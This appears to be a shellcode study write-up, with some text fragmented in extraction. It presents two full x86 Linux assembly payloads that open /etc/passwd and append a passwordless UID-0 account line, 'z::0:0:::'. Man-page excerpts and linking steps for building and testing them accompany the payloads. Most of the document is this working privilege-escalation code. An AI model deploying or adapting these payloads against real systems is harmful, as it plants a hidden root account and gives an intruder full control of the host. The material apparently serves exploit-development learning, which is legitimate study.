Convert the original shellcode to Intel flavor assembly:
shellcode.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 global _start section .text _start: jmp short call_shellcode shellcode: pop esi sub eax, eax mov BYTE PTR [esi+0xb], al ; 0x0 mov ebx, esi ; pathname mov cx, 0x401 ; flags, O_WRONLY | O_APPEND mov dx, 0x1b6 ; mode, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, no need mov al, 0x5 ; open int 0x80 xchg ebx, eax ; fd sub eax, eax sub edx, edx mov al, 0x4 ; write mov ecx, esi add cl, 0xc ; move to next string mov dl, 0xa ; count int 0x80 sub eax, eax inc eax ; exit int 0x80 call_shellcode: call shellcode passwd db "/etc/passwd", 0xff ; I will replace /etc/passwd with /etc/passww newroot db "z::0:0:::", 0x0a
open :
open() 1 2 3 4 5 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open (const char *pathname, int flags, mode_t mode) ;
open(2)
flags O_WRONLY .open(2)
mode ISUSR .
man 2 open
:
The mode argument specifies the file mode bits to be applied when a new file is created. If neither O_CREAT nor O_TMPFILE is specified in flags, then mode is ignored (and can thus be specified as 0, or simply omitted).
write :
write() 1 2 3 #include <unistd.h> ssize_t write (int fd, const void *buf, size_t count) ;
exit :
exit() 1 2 3 #include <unistd.h> void _exit(int status);
jmp-call-pop to get the address of the hardcoded strings:
But, if you run/debug the compiled shellcode, error will be raised:
.text
is readonly:
Link with ld -N
to make .text
readable and writable:
1 ld -m elf_i386 -N ./shellcode.o -o shellcode
POC with /etc/passww
(not /etc/passwd
):
Here’s the modified version to get rid of updating .text section on the fly:
shellcode-2.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 global _start section .text _start: jmp short call_shellcode shellcode: pop esi sub eax, eax mov ebx, esi mov cx, 0x401 ; O_WRONLY | O_APPEND mov al, 0x5 int 0x80 xchg ebx, eax sub eax, eax sub edx, edx mov al, 0x4 mov ecx, esi add cl, 0xc mov dl, 0xa int 0x80 xor eax, eax mov al, 0x6 ; close int 0x80 xor ebx, ebx ; status 0 mov al, 0x1 ; exit int 0x80 call_shellcode: call shellcode passwd db "/etc/passwd", 0 newroot db "z::0:0:::", 0x0a